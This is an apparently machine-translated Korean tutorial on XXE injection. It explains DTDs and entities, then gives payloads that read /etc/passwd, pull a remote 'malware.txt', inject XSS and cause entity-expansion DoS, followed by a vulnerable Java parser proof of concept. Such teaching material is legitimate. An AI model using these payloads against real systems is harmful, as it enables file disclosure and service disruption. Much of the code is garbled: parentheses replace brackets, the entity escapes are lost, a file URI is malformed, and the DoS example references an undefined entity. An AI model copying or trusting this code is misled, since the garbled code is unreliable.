XXE Injection (XML

> XXE 삽입(외부 XML 엔티티)

  • XXE 인젝션 취약점은 외부 URL 자원이 XML 문서에 동적으로 인젝션될 때 발생하는 취약점이다.
  • > 이 취약점은 잘못 구성된 XML 파서를 사용하여 신뢰할 수 없는 XML 공격 코드를 주입하고 주입할 수 있습니다.
  • XXE 인젝션 취약점은 XML 문서의 데이터를 적절하게 검증하거나 안전하게 구문 분석하지 않고 사용자 주도 입력에서 XML 데이터를 검색할 때 발생하며, 이로 인해 공격자가 악의적인 작업을 수행할 수 있습니다.

> 이 취약점을 악용할 경우 민감한 파일의 노출이나 백엔드 서버 다운타임을 통해 웹 애플리케이션 또는 백엔드 서버에 중대한 위협이 될 수 있습니다.

> XML 문서 유형 정의(DTD)

  • XML 문서는 XML DTD(Document Type Definition)를 사용하여 미리 정의된 문서 구조에 대해 유효성을 검사할 수 있으며 미리 정의된 구조는 문서 자체 또는 외부 파일 형식으로 정의할 수 있습니다.
<!DOCTYPE email (
	<!ELEMENT email (date, time, sender, recipients, body)>
    <!ELEMENT recipients (to, cc?)>
    <!ELEMENT cc (to*)>
    <!ELEMENT date (#PCDATA)>
    <!ELEMENT time (#PCDATA)>
    <!ELEMENT sender (#PCDATA)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
)>
  • 위의 예에서와 같이 DTD(Document Type Definition)는 ELEMENT 유형 선언과 함께 루트 email 요소를 선언하고 자식 요소를 나타냅니다.
  • 각 하위 요소가 선언된 후 일부는 또 다른 하위 요소를 갖고 다른 일부는 원시 데이터만 포함할 수 있습니다. (Parsed Character: 파서가 분석할 문자 데이터)

  • DTD(Document Type Definition)는 첫 번째 줄의 XML 선언 바로 뒤에 놓거나 외부 파일 형태로 저장할 수 있으며 아래와 같이 XML 문서에서 SYSTEM 키워드로 참조할 수 있습니다.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email SYSTEM "email.dtd">

> XML 엔티티

  • XXE 인젝션 기법은 XML 엔터티를 이용한 공격 기법으로, XML 엔터티는 XML 문서에서 반복되는 문자열이나 특별한 처리가 필요한 특수문자를 표현하기 위해 미리 정의되어 사용되는 객체이다.
  • XML 엔티티는 앰퍼샌드(&)로 시작하고 세미콜론(;)으로 끝납니다.

전)

<node>You&amp;I</node>
  • 위의 XML 소스 코드에서 & 부분은 XML 엔터티이며 다음과 같이 해석됩니다.
<node>You&I</node>
  • 앰퍼샌드(&) 자체가 XML에서 특별한 역할을 하기 때문에 &는 명명된 XML 엔터티를 통해 간접적으로 사용됩니다.
  • XML은 유사한 이유로 5개의 특수 문자에 대한 엔터티를 정의합니다.
  1. < (<)
  2. > (>)
  3. & (&)
  4. ? (“)
  5. ‘ (‘)
  • 위와 같이 XML에서는 5개의 엔터티만 지원하며 5개 이외의 엔터티를 사용하려면 DTD(Document Type Definition)에서 새로운 엔터티를 선언하여 사용해야 합니다.
  • 엔티티를 선언하는 DTD(Document Type Definition)는 XML 파일 또는 다른 파일에 있을 수 있습니다. 다른 파일에 있는 경우 가져와서 포함해야 합니다.

예) &user라는 사용자 지정 엔터티를 생성하고 XML 문서에서 사용

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE node (
	<!ENTITY user "haruster">
)>
<node>&user;</node>
  • 사용자 지정 엔터티는 DTD(Document Type Definition)를 통해 정의할 수 있습니다.
  • DOCTYPE 태그에서 ENTITY 태그를 통해 새 엔터티를 정의하고 텍스트에 사용할 수 있습니다. (위의 XML 문서에서는 문자열 “&user;”로 대체됩니다.)
  • XML 엔터티는 XML 내부 또는 외부에서 선언된 다음 호출될 수 있습니다. (여러 XML에서 공통적으로 사용되는 엔터티는 하나의 파일로 모아서 여러 XML에서 사용함으로써 재사용이 가능하다.)

* XML 엔티티(내부 DTD(Document Type Definition)) 선언

<!ENTITY 엔티티이름 "엔티티값">
  • 위와 같이 선언된 엔터티는 아래와 같이 앰퍼샌드(&)로 시작하는 엔터티로 사용할 수 있습니다.
<node>&엔티티이름;</node>
  • 위의 XML은 다음과 같이 해석됩니다.
<node>엔티티값</node>

* XML 엔터티(파일 외부에서 선언된 엔터티)

<!ENTITY 엔티티이름 SYSTEM "http://zerosider.com/entity.dtd">
<!ENTITY 엔티티이름2 SYSTEM "file//temp/entity.dtd">
  • 파일이나 외부 URL을 입력하면 해당 내용이 엔터티 값으로 사용되며, 외부 엔터티 사용은 내부 원 인스턴스와 동일하게 앰퍼샌드(&)와 세미콜론(;)을 사용하는 것으로 구성됩니다. .

> XXE 주입(외부 XML 엔터티)의 예.

* (1) 메인 시스템 파일 접근(LFI: Local File Inclusion Attack)

  • Linux 출력에 사용되는 비밀번호 파일을 생성합니다.
<?xml version="1.0"?>
<!DOCTYPE test (
	<!ENTITY testentity SYSTEM "../../../etc/passwd">
)>
<test>
	<text>&testentity;</text>
</test>

* (2) 외부 악성 파일 참조(RFI: Remote File Inclusion Attack)

  • URL에서 파일을 가리키고 반환합니다.
<?xml version="1.0"?>
<!DOCTYPE test (
	<!ENTITY testentity SYSTEM "http://www.zerosider.com/malware.txt">
)>
<test>
	<text>&testentity;</text>
</test>

* (3) XSS 공격

  • 자바스크립트를 실행합니다.
<?xml version="1.0?>
<test><!(CDATA(<))>script<!(CDATA(<))>alert("XSS");
<!(CDATA(<))>/script<!(CDATA(<))></test>
</test>

* (4) DOS 공격

  • 이는 엔터티를 대상으로 애플리케이션에 요금을 부과하는 공격의 한 형태입니다.
<?xml version="1.0"?>
<!DOCTYPE test (
	<!ENTITY test "lol">
    <!ENTITY test1 " &lol2; &lol2; &lol2; &lol2; &lol2; &lol2; &lol2; &lol2; &lol2;">
)>
<test>&test1;</test>

> XXE 주입 POC

  • 다음 소스 코드는 사용자로부터 XML 입력을 받아 이를 파싱하고 특정 태그 내용을 화면에 출력하는 프로그램입니다.
  • 이 프로그램은 “/tmp/test.xml”이라는 파일을 읽고 구문 분석하고 DOM 트리에서 특정 태그의 내용을 출력합니다.
import java.io.File;
import org.w3c.dom.Document;
import org.w3c.dom.Node;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;

public class Main {

	public static void main(String() args) throws Exception {
    
    	DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        
        DocumentBuilder builder = factory.newDocumentBuilder();
        
        Document doc = builder.parse(new File("/tmp/test.xml"));
        
        Node node = doc.getDocumentElement().getFirstChild();
        
        System.out.println(node.getNodeValue());
        
    }
    
}
  • “파일 /tmp/test.xml이 다음과 같이 작성되면
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE node (
	<!ENTITY passwd SYSTEM "file:///etc/passwd">
)>
<node>&passwd;</node>
  • /tmp/text.xml 파일은 passwd라는 엔티티를 정의합니다.
  • 이 시점에서 문제는 /etc/passwd 파일의 내용을 &passwd;로 변경하는 것입니다. 요점은 엔터티와 연결되어 있다는 것입니다.

-> 네트워크를 통해 XML을 받아 파싱하여 그 결과를 다시 네트워크로 보내고 프로그램이 passwd 파일에 접근할 수 있는 권한을 가지고 있다면 서버의 passwd 파일에 있는 정보가 네트워크로 유출될 가능성이 있다. . .

> 취약점 패치 방법

  • XML 파서 구성에서 외부 엔터티의 사용을 금지해야 합니다.